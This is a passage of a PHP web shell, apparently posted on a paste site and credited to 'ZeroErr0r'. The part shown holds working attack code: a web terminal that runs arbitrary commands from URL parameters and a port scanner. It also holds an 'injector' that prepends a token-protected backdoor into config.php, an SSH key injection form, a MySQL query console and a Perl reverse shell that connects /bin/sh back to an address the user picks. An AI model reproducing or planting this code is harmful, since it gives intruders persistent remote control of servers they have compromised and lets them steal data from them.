  662.                         <td><?php if(which("tar")) { echo shell_exec("tar --version | grep ^tar | sed 's/^.* //g'"); } ?></td>
  663.                     </tr>
  664.                     <tr>
  665.                         <td>Perl</td>
  666.                         <td><?php if(which("perl")) { echo shell_exec("perl -e 'print $];'"); } ?></td>
  667.                     </tr>
  668.                     <tr>
  669.                         <td>GCC</td>
  670.                         <td><?php if(which("perl")) { echo shell_exec("gcc --version | grep ^gcc | sed 's/^.* //g'"); } ?></td>
  671.                     </tr>
  672.                 </table>
  673.                 <p class="info_head" onclick="toggle(this)">PHP Configuration</p>
  674.                 <table class="off">
  675.                     <?php
  676.                     foreach (parse_ini_file(php_ini_loaded_file()) as $key => $value) {
  677.                         echo "<tr>";
  678.                         echo "<td>" . $key . "</td>";
  679.                         echo "<td>" . $value . "</td>";
  680.                         echo "</tr>";
  681.                     }
  682.                     ?>
  683.                 </table>
  684.             </div>
  685.  
  686.         <!-- TERMINAL -->
  687.         <?php } else if (isset($_GET['view']) AND $_GET['view'] == 'terminal') { ?>
  688.             <pre style="height: 300px;word-wrap: break-word;"><code class="sh"><?php if (isset($_GET['cmd'])) {
  689.                 $cmd = $_GET['cmd'];
  690.                 if (strpos($_GET['cmd'], 'cd') !== false) {
  691.                     $tmp = explode(" ", $_GET['cmd']);
  692.                     $direct = getcwd() . "/" . $tmp[array_search('cd', $tmp) + 1];
  693.                     chdir($direct);
  694.                     $_SESSION['cd'] = $direct;
  695.                     echo "<script>document.location = '?view=terminal';</script>";
  696.                 }
  697.                 $tmp = explode(" ", $_GET['cmd']);
  698.                 if (array_search('edit', $tmp) === 0) {
  699.                     $direct = getcwd() . "/" . $tmp[array_search('edit', $tmp) + 1];
  700.                     echo "<script>document.location = '?view=" . urlencode($direct) . "&action=edit';</script>";
  701.                 }
  702.                 echo htmlentities(ex($cmd . " 2>&1"));
  703.  
  704.             } ?></code></pre>
  705.             <br>
  706.             <form action="?" method="get">
  707.                 <input type="hidden" name="view" value="terminal">
  708.                 <?php echo get_current_user(); ?>:
  709.                 <input id="cmd" type="text" name="cmd" spellcheck="false" autocomplete="off" value="" autofocus placeholder=" shell command -">
  710.             </form>
  711.  
  712.         <!-- PORT_SCANNER -->
  713.         <?php } else if (isset($_GET['view']) AND $_GET['view'] == 'port_scanner') { ?>
  714.             <form action="" method="post" class="port_scanner">
  715.                 <table>
  716.                     <tr>
  717.                         <td width="10%">Host:</td>
  718.                         <td width="90%"><input type="text" name="host" value="localhost" autocomplete="off" spellcheck="false"></td>
  719.                     </tr>
  720.                     <tr>
  721.                         <td width="10%">Port Start:</td>
  722.                         <td width="90%"><input type="text" name="sport" value="0" autocomplete="off" spellcheck="false"></td>
  723.                     </tr>
  724.                     <tr>
  725.                         <td width="10%">Port End:</td>
  726.                         <td width="90%"><input type="text" name="eport" value="5000" autocomplete="off" spellcheck="false"></td>
  727.                     </tr>
  728.                 </table>
  729.                 <input type="submit" name="scan" value="SCAN!">
  730.             </form>
  731.                 <?php if (isset($_POST['scan'])) { ?>
  732.                 <div class="result" style="background-color: #071414;padding: 0;padding-top: 20px;">
  733.                     <table>
  734.                     <?php
  735.                         $start = strip_tags($_POST['sport']);
  736.                         $end = strip_tags($_POST['eport']);
  737.                         $host = strip_tags($_POST['host']);
  738.                         for($i = $start; $i<=$end; $i++){
  739.                             $fp = @fsockopen($host, $i, $errno, $errstr, 3);
  740.                             if($fp){
  741.                                 if ($i == 22 OR $i == 2222) {
  742.                                     echo '<tr><td width="5%" style="background-color: #FFA800;"><font color=white>open</font></td><td width="95%" style="background-color: #1A272E;">Port '.$i.' this could be vulnerable to SSH Injection</td></tr>';
  743.                                 } else {
  744.                                     echo '<tr><td width="5%" style="background-color: #16A086;"><font color=white>open</font></td><td width="95%" style="background-color: #1A272E;">Port '.$i.'</td></tr>';
  745.                                 }
  746.                             }
  747.                             flush();
  748.                         }
  749.                     ?>
  750.                     </table>
  751.                 </div>
  752.                 <?php } ?>
  753.  
  754.             <!-- INJECTOR -->
  755.             <?php } else if (isset($_GET['view']) AND $_GET['view'] == 'injector') { ?>
  756.                 <?php if (!isset($_GET['action'])) { ?>
  757.                 <form action="" method="post" class="port_scanner">
  758.                     <table>
  759.                         <tr>
  760.                             <td width="30%">Injectable File Path:</td>
  761.                             <td width="70%"><input type="text" name="inject_path" value="<?php echo getcwd() . DIRECTORY_SEPARATOR . 'config.php'; ?>" autocomplete="off" spellcheck="false"></td>
  762.                         </tr>
  763.                         <tr>
  764.                             <td width="30%">Code Type:</td>
  765.                             <td width="70%"><select name="inject_code_type">
  766.                                 <option value="reverse_command">Reverse Command</option>
  767.                             </select></td>
  768.                         </tr>
  769.                         <tr>
  770.                             <td width="30%">Language:</td>
  771.                             <td width="70%"><select name="inject_lang">
  772.                                 <option value="reverse_command">PHP</option>
  773.                             </select></td>
  774.                         </tr>
  775.                     </table>
  776.                     <input type="submit" name="inject" value="INJECT CODE!">
  777.                 </form>
  778.                     <?php if (isset($_POST['inject'])) { ?>
  779.                         <pre class="result" style="font-size: 1.3rem;"><?php
  780.                                 $path = strip_tags($_POST['inject_path']);
  781.                                 $type = strip_tags($_POST['inject_code_type']);
  782.                                 $lang = strip_tags($_POST['inject_lang']);
  783.                                 $token = md5(rand(111111, 999999));
  784.                                 $code = '<?php function bdoor(){@session_start();if(isset($_SESSION["cd"])){chdir($_SESSION["cd"]);}if($_SERVER["REQUEST_METHOD"]=="POST"){$cmd=base64_decode($_POST["cmd"])." 2>&1";if($_POST["token"]!="' . $token . '"){echo"Error: invalid token!";die();}if(strpos($cmd,"cd")!==false){$tmp=explode(" ",$cmd);$direct=getcwd()."/".$tmp[array_search("cd",$tmp)+1];chdir($direct);$_SESSION["cd"]=$direct;}if(0==posix_getuid()){$sym="#";}else{$sym="$";}echo "{USER}".get_current_user()."{USER}"."{SERVER}".$_SERVER["SERVER_NAME"]."{SERVER}"."{SYMBOL}" . $sym . "{SYMBOL}" . "{PATH}".getcwd()."{PATH}".shell_exec($cmd);die();}}@bdoor(); ?>';
  785.                                 $pathinfo = pathinfo($path);
  786.                                 if (is_writable($pathinfo['dirname'])) {
  787.                                     if (!file_exists($path)) {
  788.                                         $file = fopen($path, 'w+');
  789.                                         fwrite($file, $code);
  790.                                         fclose($file);
  791.                                     } else {
  792.                                         $content = file_get_contents($path);
  793.                                         $content = $code . $content;
  794.  
  795.                                         $file = fopen($path, "w");
  796.                                         fwrite($file, $content);
  797.                                         fclose($file);
  798.                                     }
  799.  
  800.                                     echo "[+] Message: code has been injected!<br>";
  801.                                     echo "[+] Method: POST<br>";
  802.                                     echo "[+] URL: " . $_SERVER['HTTP_HOST'] . str_replace(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $_SERVER['DOCUMENT_ROOT']), "", $path) . "<br>";
  803.                                     echo "[+] Variable: cmd<br>";
  804.                                     echo "[+] Token: " . $token;
  805.                                 } else { echo "[-] Error: permission denied!"; }
  806.                             ?>
  807.                         </pre><?php } ?>
  808.                 <?php } else if (isset($_GET['action']) AND $_GET['action'] == 'ssh') { ?>
  809.                     <form action="" method="post">
  810.                         <textarea style="height: 200px;" name="pub_key" placeholder="Enter the public key here!"></textarea>
  811.                         <input type="submit" name="inject_key" value="INJECT KEY!">
  812.                     </form>
  813.                 <?php } ?>
  814.  
  815.  
  816.             <!-- DATABASE -->
  817.             <?php } else if (isset($_GET['view']) AND $_GET['view'] == 'database') { ?>
  818.             <form action="?view=database" method="post" class="port_scanner">
  819.                 <?php if (isset($_SESSION['mysql_user'])) { ?>
  820.                     <select name="mysql_db">
  821.                         <?php
  822.                         $link = mysqli_connect($_SESSION['mysql_server'], $_SESSION['mysql_user'], $_SESSION['mysql_pass']);
  823.  
  824.                         if (!($result=mysqli_query($link,"show databases"))) {
  825.                             printf("Error: %s\n", mysqli_error($link));
  826.                         }
  827.  
  828.                         while( $row = mysqli_fetch_row( $result ) ){
  829.                             if (isset($_POST['mysql_db'])) {
  830.                                 if ($row[0] == $_POST['mysql_db']) {
  831.                                     echo "<option value='" . $row[0] . "' selected>" . $row[0] . "</option>";
  832.                                 } else {
  833.                                     echo "<option value='" . $row[0] . "'>" . $row[0] . "</option>";
  834.                                 }
  835.                             } else {
  836.                                 echo "<option value='" . $row[0] . "'>" . $row[0] . "</option>";
  837.                             }
  838.                         }
  839.                         ?>
  840.                     </select><br><br>
  841.                     <textarea name="mysql_query" style="border: 1px solid #E3052B;height: 200px;box-sizing: border-box; padding: 20px;" placeholder="Query"><?php if (isset($_POST['mysql_query'])) { echo $_POST['mysql_query']; } ?></textarea>
  842.                     <input type="submit" name="execute_mysql" value="EXECUTE QUERY!">
  843.                 <?php } else { ?>
  844.                 <table>
  845.                         <tr>
  846.                             <td width="20%">MySQL Server:</td>
  847.                             <td width="80%"><input type="text" name="mysql_server" value="localhost" autocomplete="off" spellcheck="false"></td>
  848.                         </tr>
  849.                         <tr>
  850.                             <td width="20%">User:</td>
  851.                             <td width="80%"><input type="text" name="mysql_user" autocomplete="off" spellcheck="false"></td>
  852.                         </tr>
  853.                         <tr>
  854.                             <td width="20%">Password:</td>
  855.                             <td width="80%"><input type="text" name="mysql_pass" autocomplete="off" spellcheck="false"></td>
  856.                         </tr>
  857.                     </table><br>
  858.                     <input type="submit" name="connect_mysql" value="CONNECT!">
  859.             </form>
  860.             <?php } ?>
  861.             <?php if (isset($_POST['connect_mysql'])) {
  862.                     $server = $_POST['mysql_server'];
  863.                     $user = $_POST['mysql_user'];
  864.                     $pass = $_POST['mysql_pass'];
  865.  
  866.                     $link = mysqli_connect($server,$user,$pass);
  867.  
  868.                     if ($link) {
  869.                         $_SESSION['mysql_user'] = $user;
  870.                         $_SESSION['mysql_pass'] = $pass;
  871.                         $_SESSION['mysql_server'] = $server;
  872.                         echo "<script>document.location = '?view=database';</script>";
  873.                     } else {
  874.                         echo "<div class='result'>Could not connect, check the credential</div>";
  875.                     }
  876.  
  877.                     // if (!($result=mysqli_query($link,$query))) {
  878.                     //         printf("Error: %s\n", mysqli_error($link));
  879.                     //     }
  880.  
  881.                     // while( $row = mysqli_fetch_row( $result ) ){
  882.                  //        if (($row[0]!="information_schema") && ($row[0]!="mysql")) {
  883.                  //            echo $row[0]."\r\n";
  884.                  //        }
  885.                  //    }
  886.  
  887.                 } ?>
  888.  
  889.             <?php if (isset($_POST['execute_mysql'])) { ?>
  890.             <table class="result" style="overflow: auto;"><?php
  891.                     $link = mysqli_connect($_SESSION['mysql_server'], $_SESSION['mysql_user'], $_SESSION['mysql_pass'], $_POST['mysql_db']);
  892.                     $query = mysqli_query($link, $_POST['mysql_query']);
  893.                     $row = mysqli_fetch_assoc($query);
  894.  
  895.                     echo "<tr>";
  896.                     foreach ($row as $key => $value) {
  897.                         echo "<td style='border: 2px dashed #555; padding: 5px;'>" . $key . "</td>";
  898.                     }
  899.                     echo "</tr>";
  900.  
  901.                     mysqli_data_seek( $query, 0 );
  902.                     while( $row = mysqli_fetch_assoc( $query ) ) {
  903.                     echo "<tr>";
  904.                         foreach ($row as $key => $value) {
  905.                             echo "<td style='border: 2px dashed #555; padding: 5px;'>" . $value . "</td>";
  906.                         }
  907.                     echo "</tr>";
  908.                     }
  909.                 ?></table>
  910.             <?php } ?>
  911.        
  912.  
  913.         <!-- NETWORKING -->
  914.         <?php } else if (isset($_GET['view']) AND $_GET['view'] == 'networking') { ?>
  915.  
  916.         <div class="networking port_scanner">
  917.             <form action="" method="post" style="border: 1px solid #666;padding: 40px; background: #111;">
  918.                 <h3 style="font-weight: normal;">Back Connect [Perl]</h3><br>
  919.                 <table>
  920.                     <tr>
  921.                         <td>IP: <input type="text" name="ip" value="<?php echo $_SERVER['REMOTE_ADDR'] ?>" autocomplete="off" spellcheck="false" style="display: inline-block; width: auto; margin-right: 20px;">
  922.                         Port: <input type="text" name="port" value="1337" autocomplete="off" spellcheck="false" style="display: inline-block; width: auto;">
  923.                         <input type="submit" name="reverse_connect_perl" value="CONNECT!" style="margin: 0; padding: 9px 20px; margin-left: 30px;"></td>
  924.                     </tr>
  925.                 </table>
  926.         <?php
  927.         if (isset($_POST['reverse_connect_perl'])) {
  928.             ex('perl -e \'use Socket;$i="' . $_POST['ip'] . '";$p=' . intval($_POST['port']) . ';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\' &');
  929.             echo "<br><pre>";
  930.             echo "+----------------------------------------------------+\n";
  931.             echo "| [INFO] connection established in the background!   |\n";
  932.             echo "+----------------------------------------------------+\n\n";
  933.             echo ex("ps aux | grep perl"); 
  934.             echo "</pre>";
  935.         }
  936.         ?>
  937.             </form>
  938.         </div>
  939.  
  940.  
  941.         <?php } ?>
  942.     </div>
  943. </section>
  944. <footer>Copyright &copy;ZeroErr0r - <?php echo date('Y') ?></footer>
  945.  
  946. <script type="text/javascript">
  947.     function rename(rename_path, file) {
  948.         var to = prompt("Enter a new file name", file);
  949.         console.log(to.length);
  950.         if (to !== null && to.length > 0) {
  951.             document.location = "?from=" + rename_path + "&to=" + to;
  952.         }
  953.     }
  954.  
  955.     function touch(touch_path) {
  956.         var to = prompt("Enter a file name");
  957.         if (to !== null && to.length > 0) {
  958.             document.location = "?touch=" + touch_path + "&file=" + to;
  959.         }
  960.     }
  961.  
  962.     function mkdir(mkdir_path) {
  963.         var to = prompt("Enter a folder name");
  964.         if (to !== null && to.length > 0) {
  965.             document.location = "?mkdir_path=" + mkdir_path + "&folder=" + to;
  966.         }
  967.     }
  968.  
  969.     var file_select = document.getElementsByClassName('file_select');
  970.     function fileSelectCheck() {
  971.         showAction();
  972.         for (var i = 0; i < file_select.length; i++) {
  973.             if (file_select[i].checked) {
  974.                 file_select[i].setAttribute('style', 'opacity:1;');
  975.                 document.getElementsByClassName('file_select')[i].parentElement.parentElement.setAttribute('style', "background-color: #1A272E");
  976.             } else {
  977.                 file_select[i].setAttribute('style', '');
  978.                 document.getElementsByClassName('file_select')[i].parentElement.parentElement.setAttribute('style', '');
  979.             }
  980.         }
  981.     }
  982.  
  983.     function filesDelete() {
  984.         var files = [];
  985.         var s = document.getElementsByClassName('file_select');
  986.         var c = 0;
  987.         for (var i = 0; i < s.length; i++) {
  988.             if (s[i].checked) {
  989.                 files[c] = s[i].value;
  990.                 c++;
  991.             }
  992.         }
  993.  
  994.         var q = "", total = 1;
  995.         for (var i = 0; i < files.length; i++) {
  996.             q += "rmfile" + i + "=" + files[i] + "&";
  997.             total++;
  998.         }
  999.         document.location = "?" + q + "multirmfile=" + total;
  1000.     }
  1001.  
  1002.     function filesCompress() {
  1003.         var files = [];
  1004.         var s = document.getElementsByClassName('file_select');
  1005.         var c = 0;
  1006.         for (var i = 0; i < s.length; i++) {
  1007.             if (s[i].checked) {
  1008.                 files[c] = s[i].value;
  1009.                 c++;
  1010.             }
  1011.         }
  1012.  
  1013.         var q = "", total = 0;
  1014.         for (var i = 0; i < files.length; i++) {
  1015.             q += "file" + i + "=" + files[i] + "&";
  1016.             total++;
  1017.         }
  1018.         document.location = "?action=zip&" + q + "numfiles=" + total;
  1019.     }
  1020.  
  1021.     function toggle(el) {
  1022.         if (el.nextSibling.nextSibling.getAttribute('class') == 'on') {
  1023.             el.nextSibling.nextSibling.setAttribute('class', 'off')
  1024.         } else {
  1025.             el.nextSibling.nextSibling.setAttribute('class', 'on')
  1026.         }
  1027.     }
  1028. </script>
  1029. <script>hljs.initHighlightingOnLoad();</script>
  1030.  
  1031. </body>
  1032. </html>
Add Comment
Please, Sign In to add comment